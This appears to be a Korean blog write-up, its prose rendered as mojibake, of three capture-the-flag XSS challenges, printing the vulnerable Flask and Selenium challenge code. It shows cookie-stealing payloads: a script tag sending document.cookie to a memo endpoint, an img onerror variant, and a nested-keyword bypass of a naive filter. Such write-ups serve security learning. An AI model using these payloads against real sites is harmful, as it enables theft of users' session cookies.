[2025-07-10] XSS-1, XSS-2, XSS Filtering Bypass

๐Ÿฆฅ ๋ณธ๋ฌธ

1. XSS - 1

 #!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        service = Service(executable_path="/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True

def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

@app.route("/")
def index():
    return render_template("index.html")

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return param

@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

memo_text = ""

@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)

app.run(host="0.0.0.0", port=8000)

  • /flag์—์„œ๋Š” POST ๋ฐฉ์‹์œผ๋กœ ๋ณด๋‚ธ๋‹ค๋ฉด, ์ฟ ํ‚ค๋ฅผ ์‚ฝ์ž…ํ•˜๊ณ  URL์— ๋“ค์–ด๊ฐ„๋‹ค. URL์— ๋“ค์–ด๊ฐ„ ํ›„ ๋น ์ ธ ๋‚˜์˜จ๋‹ค. ๊ทธ๋ฆฌ๊ณ  ๊ทธ URL์€ vuin ํŽ˜์ด์ง€๋‹ค.
  • ์ฒ˜์Œ์—๋Š” Burf suite๋ฅผ ํ†ตํ•ด ์ฟ ํ‚ค ๊ฐ’์„ ๊ฐ€์ ธ์˜ค๋ฉด ๋œ๋‹ค๊ณ  ์ƒ๊ฐํ–ˆ๋Š” ๋ฐ ์‹คํŒจํ–ˆ๋‹ค.
  • /vuin ์€ ์‚ฌ์šฉ์ž๊ฐ€ ์ž…๋ ฅํ•œ param ๊ทธ๋Œ€๋กœ ๋ณด์—ฌ์ค€๋‹ค. ๊ทธ๋ž˜์„œ ๋ฅผ ํ–ˆ๋Š” ๋ฐ ์‹คํŒจํ–ˆ๋‹ค.
  • memo๋Š” ์‚ฌ์šฉ์ž์—๊ฒŒ ๋ฐ›์€ ํ…์ŠคํŠธ๋“ค์„ ์ €์žฅํ•˜์—ฌ ๋ณด์—ฌ์ค€๋‹ค.
  • POST ๋ฐฉ์‹์œผ๋กœ flag ํŽ˜์ด์ง€์—์„œ ์ ‘๊ทผํ•˜์—ฌ ์ฟ ํ‚ค๋ฅผ ์‚ฝ์ž…ํ•œ๋‹ค. ๊ทธ๋ฆฌ๊ณ  ๊ทธ ํŽ˜์ด์ง€๋Š” vuin ํŽ˜์ด์ง€์ด๊ธฐ ๋•Œ๋ฌธ์— param์„ ๋ณด์—ฌ์ฃผ๊ธฐ ๋•Œ๋ฌธ์— param์— document.cookie๋ฅผ ํ–ˆ๋Š” ๋ฐ ์‹คํŒจํ–ˆ๋‹ค.
  • ๊ฑฐ์˜ ๋‹ค ์™”์—ˆ๋Š” ๋ฐ.. ๊ฒฐ๊ตญ ํ’€์ด๋ฅผ ๋ดค๋‹ค.
  • ๋ฌธ์ œ์ ์€ ๋‚ด ๋ธŒ๋ผ์šฐ์ € URL์—์„œ ๋น ์ ธ๋‚˜์™”๋‹ค๊ฐ€ ๋‚˜๊ฐ€๋Š” ์ค„ ์•Œ์•˜๋Š” ๋ฐ ๊ทธ๊ฒŒ ์•„๋‹ˆ Selenium์ด๋ผ๋Š” ์„œ๋ฒ„ ๋‚ด๋ถ€ ๋ธŒ๋ผ์šฐ์ €๋กœ ์‹คํ–‰ํ•˜๋Š” ๊ฑฐ ์˜€๋‹คโ€ฆ ๊ทธ๋ž˜์„œ
<script>
location.href="/memo?memo=" + document.cookie
</script>
  • ๋ฅผ ํ†ตํ•ด์„œ memo api ์‹คํ–‰์‹œํ‚ค๋ฉด์„œ ์ฟ ํ‚ค๋ฅผ ๋ฉ”๋ชจ์— ์ €์žฅํ•˜๋Š” ๊ฒƒ์ด์–ด์•ผ ํ–ˆ๋‹ค..

ํ’€์ด

๋™์ž‘ ํ๋ฆ„

  1. flag API์—์„œ POST ๋ฐฉ์‹์œผ๋กœ ๋ณด๋‚ด๋Š” ๊ฒฝ์šฐ. check_xss๋ฅผ ์‹คํ–‰
  2. check_xss๋Š” ํŒŒ๋ผ๋ฏธํ„ฐ๋กœ ๋ฐ›์€ ๊ฒƒ์„ vuln API๋ฅผ ์‹คํ–‰์‹œํ‚ค๋Š” URL๋กœ ๋งŒ๋“ค๊ณ  flag๋ฅผ ์ฟ ํ‚ค๋กœ ๋งŒ๋“ค์–ด์„œ read_url์„ ์‹คํ–‰
  3. read_url์€ ์…€๋ ˆ๋Š„์„ ํ†ตํ•ด ํ•ด๋‹น ์ฟ ํ‚ค๋กœ ๋ธŒ๋ผ์šฐ์ €๋ฅผ ์‹คํ–‰
  4. vuln API์—์„œ ํ•ด๋‹น ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ๊ทธ๋Œ€๋กœ ๋ฆฌํ„ด
  5. ์•„๋ž˜์˜ ์ฝ”๋“œ๋ฅผ ์‚ฝ์ž…
<script>
location.href="/memo?memo=" + document.cookie
</script>
  1. ์…€๋ ˆ๋Š„๋ฅผ ํ†ตํ•ด vuln API์—์„œ ์œ„์˜ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๊ทธ๋Œ€๋กœ ๋ฆฌํ„ดํ•˜์—ฌ ์‹คํ–‰
  2. memo API ์‹คํ–‰
  3. memo API์—์„œ document.cookie (์ฆ‰, FLAG)๋ฅผ memo_text์— ์ €์žฅ
  4. memo API์—์„œ memo_text๋ฅผ ์ถœ๋ ฅํ•˜์—ฌ ์ €์žฅ๋œ flag๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Œ

2. XSS - 2

#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        service = Service(executable_path="/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True

def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

@app.route("/")
def index():
    return render_template("index.html")

@app.route("/vuln")
def vuln():
    return render_template("vuln.html")

@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

memo_text = ""

@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)

app.run(host="0.0.0.0", port=8000)

vuln.html

<div id='vuln'></div>
<script>var x=new URLSearchParams(location.search); document.getElementById('vuln').innerHTML = x.get('param');</script>
  • 1์ผ์ฐจ์— ํ’€์—ˆ๋˜ xss-1๊ณผ ๊ฑฐ์˜ ์ฝ”๋“œ๊ฐ€ ์œ ์‚ฌํ•˜๋‹ค. ๋‹ค๋ฅธ ์ ์€ vuln api๊ฐ€ ์›๋ž˜๋Š” ๊ทธ๋Œ€๋กœ param์„ ๋ฆฌํ„ดํ•˜๋˜ ๊ฒƒ๊ณผ๋Š” ๋‹ฌ๋ฆฌ ์ด๋ฒˆ์—๋Š” html์— ๋„ฃ์–ด์„œ ์ž‘๋™ํ•œ๋‹ค.
  • ๊ทผ๋ฐ ์•„๋ฌด๋ฆฌ ์ƒ๊ฐํ•ด๋„ 1์ผ์ฐจ์™€ ๊ฐ™์€ ์ฝ”๋“œ๋ฅผ ๋„ฃ์œผ๋ฉด ์ž‘๋™๋  ๊ฑฐ ๊ฐ™์•˜๋‹ค.

    โ†’ ์‹คํŒจํ–ˆ๋‹ค. chatgpt์— ๋ฌผ์–ด๋ณด๋‹ˆ dom ๊ตฌ์กฐ ์•ˆ์— ์žˆ๋Š” script ๋ฌธ์€ ๋ณด์•ˆ์ƒ์˜ ์ด์œ ๋กœ ์ž์ฒด์ ์œผ๋กœ ๋ง‰๋Š” ๋‹ค๋Š” ๊ฒƒ์ด์—ˆ๋‹ค.

      <img src=x onerror="location.href='/memo?memo=' + document.cookie">
    
  • ์œ„ ์ฝ”๋“œ๋ฅผ ๋„ฃ์—ˆ๋”๋‹ˆ ์‹คํ–‰๋˜์—ˆ๋‹ค. 1์ผ์ฐจ ๋ฌธ์ œ ๋•Œ๋ฌธ์— ๊ธˆ๋ฐฉ ํ’€ ์ˆ˜ ์žˆ์–ด์„œ ๋น„๊ต์  ์‰ฌ์› ๋‹ค.

ํ’€์ด

  1. ์…€๋ ˆ๋Š„ ๋ธŒ๋ผ์šฐ์ €์—์„œ vuln API๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ๊ฒƒ๊นŒ์ง€๋Š” ๊ฐ™๋‹ค.
  2. ํ•˜์ง€๋งŒ vuln.html์—์„œ ํ˜„์žฌ ์ฃผ์†Œ์ฐฝ์˜ ์ฟผ๋ฆฌ ์ŠคํŠธ๋ง(=location.search) ๋ถ€๋ถ„์„ ๊ฐ€์ ธ์™€์„œ ํŒŒ์‹ฑํ•˜์—ฌ x์— ํ• ๋‹นํ•œ๋‹ค
  3. ์ฟผ๋ฆฌ ์ŠคํŠธ๋ง ๋ถ€๋ถ„์—์„œ param ๋ถ€๋ถ„์„ ๊ฐ€์ ธ์™€์„œ id๊ฐ€ vuln์ธ div์— DOM ๊ตฌ์กฐ๋กœ ์‚ฝ์ž…ํ•œ๋‹ค
  4. ๊ทธ ํ›„ vuln.html์„ render_template ๋ฉ”์†Œ๋“œ๋ฅผ ํ†ตํ•ด ๋ Œ๋”๋งํ•œ๋‹ค.
    1. ์ด๋•Œ render_template ๋ฉ”์†Œ๋“œ๋Š” ์ „๋‹ฌ๋œ ํ…œํ”Œ๋ฆฟ ๋ณ€์ˆ˜๊ฐ€ ๊ธฐ๋ก๋  ๋•Œ HTML ์—”ํ‹ฐํ‹ฐ ์ฝ”๋“œ๋กœ ๋ณ€ํ™˜ํ•ด ์ €์žฅ๋˜์–ด XSS๊ฐ€ ๋ฐœ์ƒํ•˜์ง€ ์•Š๋Š”๋‹ค. โ†’ ํ•˜์ง€๋งŒ ํ…œํ”Œ๋ฆฟ์„ ์ด์šฉํ•˜๋Š” ๋ฐฉ์‹์ด ์•„๋‹ˆ๋ผ innerHTML ๋ฐฉ์‹์œผ๋กœ ์šฐํšŒ
    2. innerHTML์ด์ง€๋งŒ
  5. ๊ธฐ์กด ๋ฐฉ์‹์ด ์•„๋‹Œ <img onerror= .. > ๋ฐฉ์‹์œผ๋กœ XSS ๊ฐ€๋Šฅ

3. XSS Filtering Bypass

#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        service = Service(executable_path="/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True

def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

def xss_filter(text):
    _filter = ["script", "on", "javascript:"]
    for f in _filter:
        if f in text.lower():
            text = text.replace(f, "")
    return text

@app.route("/")
def index():
    return render_template("index.html")

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    param = xss_filter(param)
    return param

@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

memo_text = ""

@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)

app.run(host="0.0.0.0", port=8000)

  • ์ด๋ฒˆ์—๋Š” ํ•„ํ„ฐ๋ง์ด ์ƒ๊ฒผ๋‹ค
<sc ript>location.href="/memo?memo=" + document.cookie</sc ript>
<Script>location.href="/memo?memo=" + document.cookie</Script>
<sconript>locatiojavascript:n.href="/memo?memo=" + document.cookie</sconript> //on์ด ""๋กœ ๋ฐ”๋€Œ์–ด์„œ script ์‹คํ–‰์ด๋ผ๊ณ  ์ƒ
+ ์•„์Šคํ‚ค ์ฝ”๋“œ๊นŒ์ง€ 
  • ํ•ด๋ดค๋Š” ๋ฐ ์‹คํŒจํ–ˆ๋‹ค.
  • ์†”์งํžˆ 3๋ฒˆ์งธ๊ฑฐ๋Š” ์™œ ์‹คํŒจํ–ˆ๋Š” ์ง€ ์ •๋ง ๋ชจ๋ฅด๊ฒ ๋‹ค. ์ •๋ง๋กœ ๋‹ต๋„ ์—†์–ด์„œ ๊ณ ๋ฏผํ•˜๋‹ค๊ฐ€ ๋ฌธ์ œ๋ฅผ ์ฐพ์•„๋ดค๋Š” ๋ฐ ๋ ์šฉ????
<scscriptript>locatioonn.href="memo?memo="+document.cookie</scscriptript>
  • ํ•„ํ„ฐ๋งํ•  ๋•Œ for ๋ฌธ์ด ๋ฆฌ์ŠคํŠธ ์ˆœ์„œ๋Œ€๋กœ ์‹คํ–‰๋˜๋Š” ๊ฒŒ ์•„๋‹Œ๊ฐ€๋ณด๋‹ค ๊ดœํžˆ ์‹œ๊ฐ„๋งŒ ๋งŽ์ด ์žก์•„๋จน์—ˆ๋‹คโ€ฆ

Categories:

Updated:

Leave a comment